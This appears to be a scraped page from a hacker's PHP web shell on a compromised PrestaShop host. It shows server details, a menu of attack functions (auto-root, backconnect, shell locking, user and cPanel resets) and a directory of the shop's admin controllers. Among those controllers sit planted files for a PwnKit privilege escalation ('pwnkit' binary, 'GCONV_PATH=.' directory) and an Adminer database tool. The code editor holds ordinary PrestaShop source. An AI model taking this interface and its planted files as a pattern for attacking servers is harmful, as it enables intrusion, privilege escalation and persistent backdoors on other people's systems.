Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.139
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
controllers /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
AdminAccessController.php
7.76
KB
-rw----r--
AdminAttributeGeneratorControl...
11.59
KB
-rw----r--
AdminAttributesGroupsControlle...
39.3
KB
-rw----r--
AdminCarrierWizardController.p...
40.47
KB
-rw----r--
AdminCarriersController.php
32.05
KB
-rw----r--
AdminCartRulesController.php
37.94
KB
-rw----r--
AdminCartsController.php
43.36
KB
-rw----r--
AdminCountriesController.php
21.89
KB
-rw----r--
AdminCustomerThreadsController...
53.46
KB
-rw----r--
AdminDashboardController.php
23.83
KB
-rw----r--
AdminFeaturesController.php
24.16
KB
-rw----r--
AdminGendersController.php
8.5
KB
-rw----r--
AdminGroupsController.php
26.09
KB
-rw----r--
AdminImagesController.php
37.67
KB
-rw----r--
AdminImportController.php
240.43
KB
-rw----r--
AdminLegacyLayoutController.ph...
6.55
KB
-rw----r--
AdminLoginController.php
21.1
KB
-rw----r--
AdminModulesController.php
76.69
KB
-rw----r--
AdminModulesPositionsControlle...
29.72
KB
-rw----r--
AdminNotFoundController.php
1.68
KB
-rw----r--
AdminOutstandingController.php
6.38
KB
-rw----r--
AdminPatternsController.php
25.2
KB
-rw----r--
AdminPdfController.php
8.26
KB
-rw----r--
AdminProductsController.php
160.42
KB
-rw----r--
AdminQuickAccessesController.p...
9.29
KB
-rw----r--
AdminReferrersController.php
21.58
KB
-rw----r--
AdminRequestSqlController.php
21.3
KB
-rw----r--
AdminReturnController.php
14.54
KB
-rw----r--
AdminSearchConfController.php
23.54
KB
-rw----r--
AdminSearchController.php
23.45
KB
-rw----r--
AdminSearchEnginesController.p...
3.57
KB
-rw----r--
AdminShopController.php
36.4
KB
-rw----r--
AdminShopGroupController.php
14.6
KB
-rw----r--
AdminShopUrlController.php
23.96
KB
-rw----r--
AdminSpecificPriceRuleControll...
15.93
KB
-rw----r--
AdminStatesController.php
12.62
KB
-rw----r--
AdminStatsController.php
46.01
KB
-rw----r--
AdminStatsTabController.php
11.41
KB
-rw----r--
AdminStatusesController.php
29.33
KB
-rw----r--
AdminStoresController.php
24.67
KB
-rw----r--
AdminSuppliersController.php
24.06
KB
-rw----r--
AdminTabsController.php
14.62
KB
-rw----r--
AdminTagsController.php
5.53
KB
-rw----r--
AdminTaxRulesGroupController.p...
22.01
KB
-rw----r--
AdminTranslationsController.ph...
148.17
KB
-rw----r--
AdminZonesController.php
5.27
KB
-rw----r--
BoOrder.php
1.29
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
index.php
1.34
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AdminQuickAccessesController.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ /** * @property QuickAccess $object */ class AdminQuickAccessesControllerCore extends AdminController { public function __construct() { $this->bootstrap = true; $this->table = 'quick_access'; $this->className = 'QuickAccess'; $this->lang = true; $this->addRowAction('edit'); $this->addRowAction('delete'); parent::__construct(); if (!Tools::getValue('realedit')) { $this->deleted = false; } $this->bulk_actions = [ 'delete' => [ 'text' => $this->trans('Delete selected', [], 'Admin.Actions'), 'confirm' => $this->trans('Delete selected items?', [], 'Admin.Notifications.Warning'), 'icon' => 'icon-trash', ], ]; $this->fields_list = [ 'id_quick_access' => [ 'title' => $this->trans('ID', [], 'Admin.Global'), 'align' => 'center', 'class' => 'fixed-width-xs', ], 'name' => [ 'title' => $this->trans('Name', [], 'Admin.Global'), ], 'link' => [ 'title' => $this->trans('Link', [], 'Admin.Navigation.Header'), ], 'new_window' => [ 'title' => $this->trans('New window', [], 'Admin.Navigation.Header'), 'align' => 'center', 'type' => 'bool', 'active' => 'new_window', 'class' => 'fixed-width-sm', ], ]; $this->fields_form = [ 'legend' => [ 'title' => $this->trans('Quick Access menu', [], 'Admin.Navigation.Header'), 'icon' => 'icon-align-justify', ], 'input' => [ [ 'type' => 'text', 'label' => $this->trans('Name', [], 'Admin.Global'), 'name' => 'name', 'lang' => true, 'maxlength' => 32, 'required' => true, 'hint' => $this->trans('Forbidden characters:', [], 'Admin.Notifications.Info') . ' <>;=#{}', ], [ 'type' => 'text', 'label' => $this->trans('URL', [], 'Admin.Global'), 'name' => 'link', 'maxlength' => 128, 'required' => true, 'hint' => $this->trans('If it\'s a URL that comes from your back office, you MUST remove the security token.', [], 'Admin.Navigation.Header'), ], [ 'type' => 'switch', 'label' => $this->trans('Open in new window', [], 'Admin.Navigation.Header'), 'name' => 'new_window', 'required' => false, 'values' => [ [ 'id' => 'new_window_on', 'value' => 1, 'label' => '<img src="../img/admin/enabled.gif" alt="' . $this->trans('Enabled', [], 'Admin.Global') . '" title="' . $this->trans('Enabled', [], 'Admin.Global') . '" />', ], [ 'id' => 'new_window_off', 'value' => 0, 'label' => '<img src="../img/admin/disabled.gif" alt="' . $this->trans('Disabled', [], 'Admin.Global') . '" title="' . $this->trans('Disabled', [], 'Admin.Global') . '" />', ], ], ], ], 'submit' => [ 'title' => $this->trans('Save', [], 'Admin.Actions'), ], ]; } public function getTabSlug() { return 'ROLE_MOD_TAB_ADMINACCESS_'; } public function initPageHeaderToolbar() { if (empty($this->display)) { $this->page_header_toolbar_btn['new_quick_access'] = [ 'href' => self::$currentIndex . '&addquick_access&token=' . $this->token, 'desc' => $this->trans('Add new quick access', [], 'Admin.Navigation.Header'), 'icon' => 'process-icon-new', ]; } parent::initPageHeaderToolbar(); } public function initProcess() { if ((isset($_GET['new_window' . $this->table]) || isset($_GET['new_window'])) && Tools::getValue($this->identifier)) { if ($this->access('edit')) { $this->action = 'newWindow'; } else { $this->errors[] = $this->trans('You do not have permission to edit this.', [], 'Admin.Notifications.Error'); } } parent::initProcess(); } public function getQuickAccessesList() { $links = QuickAccess::getQuickAccessesWithToken($this->context->language->id, (int) $this->context->employee->id); return json_encode($links); } public function addQuickLink() { if (!isset($this->className) || empty($this->className)) { return false; } $this->validateRules(); if (count($this->errors) <= 0) { $this->object = new $this->className(); $this->copyFromPost($this->object, $this->table); $exists = Db::getInstance()->getValue('SELECT id_quick_access FROM ' . _DB_PREFIX_ . 'quick_access WHERE link = "' . pSQL($this->object->link) . '"'); if ($exists) { return true; } $this->beforeAdd($this->object); if (method_exists($this->object, 'add') && !$this->object->add()) { $this->errors[] = $this->trans('An error occurred while creating an object.', [], 'Admin.Notifications.Error') . ' <b>' . $this->table . ' (' . Db::getInstance()->getMsgError() . ')</b>'; } elseif (($_POST[$this->identifier] = $this->object->id) && $this->postImage($this->object->id) && !count($this->errors) && $this->_redirect) { // voluntary do affectation here PrestaShopLogger::addLog($this->trans('%class_name% addition', ['%class_name%' => $this->className], 'Admin.Advparameters.Feature'), 1, null, $this->className, (int) $this->object->id, true, (int) $this->context->employee->id); $this->afterAdd($this->object); } } $this->errors = array_unique($this->errors); if (!empty($this->errors)) { $this->errors['has_errors'] = true; $this->ajaxRender(json_encode($this->errors)); return false; } return $this->getQuickAccessesList(); } public function processDelete() { parent::processDelete(); return $this->getQuickAccessesList(); } public function ajaxProcessGetUrl() { if (Tools::strtolower(Tools::getValue('method')) === 'add') { $params['new_window'] = 0; $params['name_' . (int) Configuration::get('PS_LANG_DEFAULT')] = Tools::getValue('name'); $params['link'] = Tools::getValue('url'); $params['submitAddquick_access'] = 1; unset($_POST['name']); $_POST = array_merge($_POST, $params); die($this->addQuickLink()); } elseif (Tools::strtolower(Tools::getValue('method')) === 'remove') { $params['deletequick_access'] = 1; $_POST = array_merge($_POST, $params); die($this->processDelete()); } } public function processNewWindow() { if (Validate::isLoadedObject($object = $this->loadObject())) { /** @var QuickAccess $object */ if ($object->toggleNewWindow()) { $this->redirect_after = self::$currentIndex . '&conf=5&token=' . $this->token; } else { $this->errors[] = $this->trans('An error occurred while updating new window property.', [], 'Admin.Navigation.Notification'); } } else { $this->errors[] = $this->trans('An error occurred while updating the new window property for this object.', [], 'Admin.Navigation.Notification') . ' <b>' . $this->table . '</b> ' . $this->trans('(cannot load object)', [], 'Admin.Notifications.Error'); } return $object; } }
Close